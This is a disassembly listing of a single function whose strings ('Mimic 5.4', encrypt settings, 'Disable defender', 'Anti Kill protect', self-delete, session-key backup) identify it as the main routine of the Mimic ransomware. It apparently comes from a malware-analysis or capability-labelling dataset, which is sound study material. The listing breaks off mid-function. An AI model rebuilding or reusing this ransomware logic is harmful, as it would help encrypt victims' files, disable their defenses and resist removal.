Function at 0x4642c0
Capabilities:
Accept command line arguments
Check if file exists
Disable system features via registry on windows
Encode data using base64
Enumerate processes
Manipulate boot configuration
Set current directory
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5736f4
mov eax, dword fs:[0]
push eax
sub esp, 0x334
mov eax, dword [0x5ebea4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push 0x1f4
mov dword [ebp - 0x334], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov cl, 1
mov dword [ebp - 4], 0
call fcn.00456cc0
push 0x5ecab8
lea ecx, [ebp - 0x4c]
mov dword [ebp - 4], 0xffffffff
call fcn.004497d0
mov dword [ebp - 4], 4
lea ebx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
lea edi, [ebp - 0x4c]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0
cmovae ebx, dword [ebp - 0x4c]
add ebx, dword [ebp - 0x3c]
cmp dword [ebp - 0x38], 0x10
mov dword [ebp - 0x20], 7
cmovae edi, dword [ebp - 0x4c]
xor eax, eax
mov word [ebp - 0x34], ax
mov eax, ebx
sub eax, edi
push eax
call fcn.0044bc80
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x34]
push ebx
push edi
call fcn.0044be10
mov byte [ebp - 4], 5
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
mov ecx, 0x5ecbc0
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
push eax
call fcn.0044a910
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x4643d4
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4643ca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x38]
cmp edx, 0x10
jb 0x46440f
mov ecx, dword [ebp - 0x4c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x464405
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ebd
push edx
push ecx
call fcn.0052f5d6
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test byte [0x5f27b7], 2
mov dword [0x5f27d4], eax
je 0x464428
call fcn.0045bc00
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x5f32f8
mov dword [0x5f3314], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.Rstrtmgr.dll
mov byte [0x5f32d5], 1
call esi
test eax, eax
je 0x464462
mov dword [0x5f3340], 1
jmp 0x464476
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restart_manager_not_loaded__Code__lu.
call fcn.00463ab0
add esp, 8
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, eax
test edi, edi
jne 0x464494
push str.ntdll.dll
call esi
mov edi, eax
test edi, edi
je 0x4644b4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSetInformationProcess
push edi
call esi
push str.NtQueryInformationProcess
push edi
mov dword [0x5f2a00], eax
call esi
mov dword [0x5f29fc], eax
call fcn.00469b60
push 0x5f32b8
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov al, byte [0x5f27c2]
mov edx, 0xb
mov byte [0x5f27e2], al
mov ecx, 0xa
mov al, byte [0x5f278a]
mov byte [0x5f27d0], al
mov al, byte [0x5f27c0]
test al, al
mov byte [0x5f27df], 1
mov byte [0x5f27d3], al
cmove ecx, edx
mov dword [0x5ec9f0], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
mov ecx, esi
mov dword [ebp - 0x334], esi
call fcn.0045a700
push str.Mimic_5.4
push 0x5d9d48
call fcn.00463ab0
add esp, 8
cmp byte [0x5f27dd], 0
je 0x464590
cmp dword [0x5ecc04], 8
mov eax, 0x5ecbf0
cmovae eax, dword [0x5ecbf0]
push eax
push str.___Dump_started_to:__s
call fcn.00463ab0
sub esp, 0x10
mov ecx, esp
push 0x5ecbf0
call fcn.0044c140
call fcn.00456af0
push str.___Dump_completed
call fcn.00463ab0
add esp, 0x1c
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0052f395
mov esp, ebp
pop ebp
ret 0x10
push str.___SysInfo...
mov dword [ebp - 4], 6
call fcn.00463ab0
add esp, 4
call fcn.004771a0
mov dword [ebp - 4], 0xffffffff
jmp 0x4645d9
push esi
push str.CMDLINE:_____s
call fcn.00463ab0
push str.SYSTEMDRIVE
call fcn.00551fb6
mov edx, eax
mov dword [ebp - 0x24], 0
mov ecx, edx
mov dword [ebp - 0x20], 7
add esp, 0xc
xor eax, eax
mov word [ebp - 0x34], ax
lea edi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x464610
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x34]
call fcn.0044a910
push 0xe
push str._templock.txt
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 8
call fcn.00451c60
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x20]
test eax, eax
je 0x4646c0
cmp edx, 8
jb 0x464696
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46468c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ec2
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push str.____Dev_
call fcn.00463ab0
add esp, 4
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.Closing...
call fcn.00463ab0
add esp, 4
jmp 0x46456d
cmp edx, 8
jb 0x4646f7
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4646ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ec7
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push str.___Set_Privileges...
mov dword [ebp - 4], 9
call fcn.00463ab0
add esp, 4
call fcn.0046a250
test al, al
jne 0x464728
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Failed_to_grant_privileges__Code__lu
call fcn.00463ab0
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x464758
mov eax, dword [0x5ec9f0]
cmp eax, 0xe
jne 0x464891
push dword [0x5f27d8]
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x46456d
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x5d9f40
lea ecx, [ebp - 0x4c]
call fcn.00449590
mov ecx, 0x5f2e18
mov dword [ebp - 4], 0xb
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4647b0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f2e18
lea ecx, [ebp - 0x4c]
call fcn.00451c60
push 2
push 0x5d9f44
lea ecx, [ebp - 0x4c]
call fcn.00451c60
cmp dword [0x5ecbec], 8
lea ecx, [ebp - 0x4c]
push dword [0x5ecbe8]
mov eax, 0x5ecbd8
cmovae eax, dword [0x5ecbd8]
push eax
call fcn.00451c60
push 1
push 0
xor dl, dl
mov ecx, 0x5f2c10
call fcn.0046e6c0
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, 5
cmp byte [0x5f27e0], al
push 0x2710
cmovne eax, ecx
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 8
movzx edx, ax
cmovae ecx, dword [ebp - 0x4c]
push 0
call fcn.0046ec60
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x46488a
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464880
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ecc
push edx
push ecx
call fcn.0052f5d6
add esp, 8
xor eax, eax
jmp 0x464572
cmp eax, 0xf
jne 0x4648e6
push str.Unlocker1_started.
call fcn.00463ab0
add esp, 4
push 0
push 0
push 0
push 0x45cea0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1388
mov dword [0x5f3290], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0046eac0
call fcn.0045cfa0
push str.Unlocker1_finished.
call fcn.00463ab0
add esp, 4
xor eax, eax
jmp 0x464572
cmp eax, 0x10
jne 0x46492b
push str.Unlocker2_started.
call fcn.00463ab0
add esp, 4
mov ecx, 1
call fcn.0045cf80
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0046eac0
call fcn.0045cfa0
push str.Unlocker2_finished.
call fcn.00463ab0
add esp, 4
xor eax, eax
jmp 0x464572
push str.___Priority...
mov dword [ebp - 4], 0xc
call fcn.00463ab0
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add esp, 4
push 0x80
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov ebx, dword [0x5f2a00]
mov dword [ebp - 0x50], 3
test ebx, ebx
je 0x464993
push 4
lea eax, [ebp - 0x50]
push eax
push 0x21
call edi
push eax
call ebx
jmp 0x464993
push esi
call dword [sym.imp.SHLWAPI.dll_PathGetArgsW]
mov ebx, eax
mov dword [ebp - 0x8c], 0
xor eax, eax
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x88], 7
mov word [ebp - 0x9c], ax
mov dword [ebp - 4], 0xe
push str.___Autostart...
mov byte [ebp - 4], 0xf
call fcn.00463ab0
add esp, 4
lea ecx, [ebp - 0x9c]
mov edx, ebx
call fcn.0046f770
test al, al
jne 0x464a10
mov ecx, 0x5f2e18
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4649f0
sub ecx, edx
sar ecx, 1
push ecx
push 0x5f2e18
lea ecx, [ebp - 0x9c]
call fcn.0044a910
mov dword [ebp - 4], 0xe
jmp 0x464a3d
push str.___Relaunch...
mov byte [ebp - 4], 0x11
call fcn.00463ab0
add esp, 4
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x88], 8
lea ecx, [ebp - 0x9c]
mov edx, ebx
cmovae ecx, dword [ebp - 0x9c]
push eax
call fcn.0046f240
add esp, 4
test eax, eax
je 0x464ad6
mov edx, dword [ebp - 0x88]
cmp edx, 8
jb 0x464ab4
mov ecx, dword [ebp - 0x9c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464aaa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed1
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov eax, dword [ebp - 0x50]
jmp 0x464572
push str.___Register_hotkey...
mov dword [ebp - 4], 0xe
call fcn.00463ab0
add esp, 4
push 0
push 0
push 0
push 0x45bdb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push str.___Change_Process_DACL...
mov byte [ebp - 4], 0x13
call fcn.00463ab0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 8
mov edi, eax
call fcn.00552c6a
add esp, 4
mov esi, eax
push 2
push 8
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeAcl]
test eax, eax
jne 0x464b3b
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x464b4d
push 0
push esi
push 0
push 0
push 4
push 6
push edi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
push esi
call fcn.0054ad3a
add esp, 4
push str.___Set_current_dir...
mov dword [ebp - 4], 0xe
call fcn.00463ab0
add esp, 4
push 0x5f2a08
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x5f2a08
lea ecx, [ebp - 0x74]
call fcn.00449590
push 0xc
push str._session.tmp
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x15
call fcn.00451c60
push 0x5f3020
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x464c0d
push str.___Found_previous_session_key_in_backup
call fcn.00463ab0
cmp dword [ebp - 0x60], 8
lea edx, [ebp - 0x74]
push 1
cmovae edx, dword [ebp - 0x74]
mov ecx, 0x5f3020
call fcn.0045b640
add esp, 8
test eax, eax
je 0x464bf9
cmp dword [ebp - 0x60], 8
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
push str.___Restore_previous_session_key_success._Path:__s
jmp 0x464c05
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Restore_previous_session_key_failed._Code__lu.
call fcn.00463ab0
add esp, 8
xor cl, cl
mov byte [ebp - 4], 0x16
call fcn.00456cc0
mov dword [ebp - 4], 0x15
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
cmovae eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x464c70
cmp dword [ebp - 0x60], 8
lea ecx, [ebp - 0x74]
push 1
cmovae ecx, dword [ebp - 0x74]
mov edx, 0x5f3020
call fcn.0045b640
add esp, 4
test eax, eax
je 0x464c62
push str.___Backup_session_key_success
call fcn.00463ab0
add esp, 4
jmp 0x464c89
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Backup_session_key_failed._Code__lu.
jmp 0x464c81
cmp dword [ebp - 0x60], 8
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push eax
push str.____Connot_find_own_session_key._Path:__s
call fcn.00463ab0
add esp, 8
push 0x5f2a08
push str.___Protect_directory...:__s
call fcn.00463ab0
add esp, 8
lea ecx, [ebp - 0x34]
push 0x5f2a08
call fcn.00449590
mov byte [ebp - 4], 0x1a
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
push 6
cmovae eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 0
cmovae eax, dword [ebp - 0x34]
push 0x2000000
push 3
push 0
push 7
push 0x10e0000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x464d4a
cmp byte [0x5f29f3], 0
je 0x464d14
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
push str.____Failed_to_read_permissions:__s__Code__lu
call fcn.00463ab0
add esp, 0xc
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x464d9c
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464d92
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
jmp 0x464d92
mov eax, dword [0x5f29f8]
test eax, eax
je 0x464d89
push 0
push eax
push 0
push 0
push 4
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
test eax, eax
je 0x464d89
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x20], 8
lea ecx, [ebp - 0x34]
push eax
cmovae ecx, dword [ebp - 0x34]
push ecx
push str.____SetSecurityInfo_failed__folder:__s__Code__lu
call fcn.00463ab0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x464d14
push edx
push ecx
call fcn.0052f5d6
add esp, 8
push str.___Embedded_settings:
call fcn.00463ab0
push str._____________________
call fcn.00463ab0
cmp dword [0x5ecafc], 8
mov eax, 0x5ecae8
cmovae eax, dword [0x5ecae8]
push eax
push str.___NoteId:_____________s
call fcn.00463ab0
mov ecx, dword [0x5f27c8]
mov eax, dword [0x5f27cc]
shrd ecx, eax, 5
push ecx
push str.___Keys_count:_________i
call fcn.00463ab0
call fcn.00456340
movzx eax, al
push eax
push str.___Encrypt_percent:____i___
call fcn.00463ab0
movzx eax, byte [0x5f27c7]
push eax
push str.______for_files:________i_MiB
call fcn.00463ab0
add esp, 0x28
mov dword [ebp - 0x24], 0
cmp dword [0x5ecacc], 0x10
lea ecx, [ebp - 0x34]
mov ebx, 0x5ecab8
mov dword [ebp - 0x20], 7
cmovae ebx, dword [0x5ecab8]
mov edi, 0x5ecab8
add ebx, dword [0x5ecac8]
cmp dword [0x5ecacc], 0x10
cmovae edi, dword [0x5ecab8]
xor eax, eax
mov word [ebp - 0x34], ax
mov eax, ebx
sub eax, edi
push eax
call fcn.0044bc80
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x34]
push ebx
push edi
call fcn.0044be10
mov ebx, 1
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x34]
cmp dword [ebp - 0x20], 8
cmovae eax, dword [ebp - 0x34]
push eax
push str.___Extension:__________s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x464ecd
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x464ec3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
cmp dword [0x5ecb2c], 8
mov eax, 0x5ecb18
cmovae eax, dword [0x5ecb18]
push eax
push str.___Note_file_name:_____s
call fcn.00463ab0
mov eax, dword [0x5f27ac]
shl eax, 0xa
shr eax, 0xa
push eax
push str.___File_max_size:______lu_KiB
call fcn.00463ab0
mov eax, dword [0x5f27b0]
shl eax, 0x14
shr eax, 0x14
push eax
push str.___Process_max_RAM:____lu_MiB
call fcn.00463ab0
cmp byte [0x5f27dc], 0
mov esi, 0x5da6dc
mov eax, esi
mov edi, 0x5da6e4
cmove eax, edi
push eax
push str.___Self_delete:________s
call fcn.00463ab0
cmp byte [0x5f27b5], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Priority_modify:____s
call fcn.00463ab0
cmp byte [0x5f27e1], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Log_check_sum:______s
call fcn.00463ab0
cmp byte [0x5f27d2], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_single:_____s
call fcn.00463ab0
cmp byte [0x5f27df], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_local:______s
call fcn.00463ab0
add esp, 0x40
mov eax, esi
cmp byte [0x5f27e2], 0
cmove eax, edi
push eax
push str.___Encrypt_net_drive:__s
call fcn.00463ab0
cmp byte [0x5f27d0], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_net_prio:___s
call fcn.00463ab0
cmp byte [0x5f27d3], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_share:______s
call fcn.00463ab0
cmp byte [0x5f27c5], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Encrypt_hidden_dr:__s
call fcn.00463ab0
cmp byte [0x5f27de], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Anti_Kill_protect:__s
call fcn.00463ab0
cmp byte [0x5f27c6], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Disable_defender:___s
call fcn.00463ab0
cmp byte [0x5f27e0], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Visible:____________s
call fcn.00463ab0
cmp byte [0x5f27c1], 0
mov eax, esi
cmove eax, edi
push eax
push str.___Wipe_parallel:______s
call fcn.00463ab0
movzx eax, byte [0x5f27b7]
add esp, 0x40
push eax
push str.___Log_level:__________i
call fcn.00463ab0
cmp byte [0x5f27b6], 0
cmove esi, edi
push esi
push str.___Delete_log_at_end:__s
call fcn.00463ab0
movzx eax, byte [0x5f27c3]
add esp, 0x10
sub eax, 0
je 0x4650a0
sub eax, 1
je 0x465099
sub eax, 1
jne 0x4650b2
push str.Full
jmp 0x4650a5
push str.Partial
jmp 0x4650a5
push str.None
push str.___Reserve_mode:_______s
call fcn.00463ab0
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x1c
mov edi, dword [0x5f311c]
mov esi, dword [edi]
cmp esi, edi
je 0x46515c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5daa54
lea ecx, [ebp - 0xb4]
call fcn.004531f0
add esp, 4
mov byte [ebp - 4], 0x1d
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x465105
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00451c60
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x465153
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465149
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x4650e0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push 0x5daa58
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4651b2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4651a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x1e
mov edi, dword [0x5f30d4]
mov esi, dword [edi]
cmp esi, edi
je 0x46525c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5daa54
lea ecx, [ebp - 0xb4]
call fcn.004531f0
add esp, 4
mov byte [ebp - 4], 0x1f
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x465205
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00451c60
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x465253
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465249
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x4651e0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Ext._exclude:______s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4652b2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4652a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x20
mov edi, dword [0x5f316c]
mov esi, dword [edi]
cmp esi, edi
je 0x46535c
nop dword [eax + eax]
lea edx, [esi + 8]
push 0x5daa54
lea ecx, [ebp - 0xb4]
call fcn.004531f0
add esp, 4
mov byte [ebp - 4], 0x21
cmp dword [eax + 0x14], 8
mov ecx, dword [eax + 0x10]
jb 0x465305
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x4c]
call fcn.00451c60
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0xa0]
cmp edx, 8
jb 0x465353
mov ecx, dword [ebp - 0xb4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465349
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x4652e0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Files_exclude:_____s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4653b2
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4653a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x22
mov edi, dword [0x5f30e4]
mov esi, dword [edi]
cmp esi, edi
je 0x46549d
nop dword [eax + eax]
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 2
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc80
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x46541f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 1
push 0x5daa54
lea ecx, [ebp - 0x34]
call fcn.00451c60
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push dword [ebp - 0x24]
cmovae eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x4c]
push eax
call fcn.00451c60
mov ebx, dword [ebp - 0x50]
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x20]
cmp edx, 8
jb 0x465490
mov ecx, dword [ebp - 0x34]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x465486
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466eb8
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov esi, dword [esi]
cmp esi, edi
jne 0x4653e0
mov ecx, dword [ebp - 0x38]
cmp ecx, 8
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push eax
push str.___Dirs_exclude:______s
call fcn.00463ab0
mov byte [ebp - 4], 0x15
add esp, 8
mov edx, dword [ebp - 0x38]
cmp edx, 8
jb 0x4654f3
mov ecx, dword [ebp - 0x4c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4654e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x466ed6
push edx
push ecx
call fcn.0052f5d6
add esp, 8
mov ecx, 7
mov dword [ebp - 0x3c], 0
xor eax, eax
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x4c], ax
mov byte [ebp - 4], 0x24
mov edi, dword [0x5f30ec]
mov esi, dword [edi]
cmp esi, edi
je 0x4655e0
nop dword [eax]
mov dword [ebp - 0x50], ebx
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x24], 0
or ebx, 4
mov word [ebp - 0x34], ax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x334], ebx
inc eax
lea ebx, [esi + 8]
mov dword [ebp - 0x20], 7
push eax
call fcn.0044bc80
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
jb 0x46555f
mov ebx, dword [ebx]
push eax
push ebx
lea ecx, [ebp - 0x34]
call fcn.00451c60
push 1
push 0x5daa54
lea ecx, [ebp - 0x34]
call fcn.00451c60
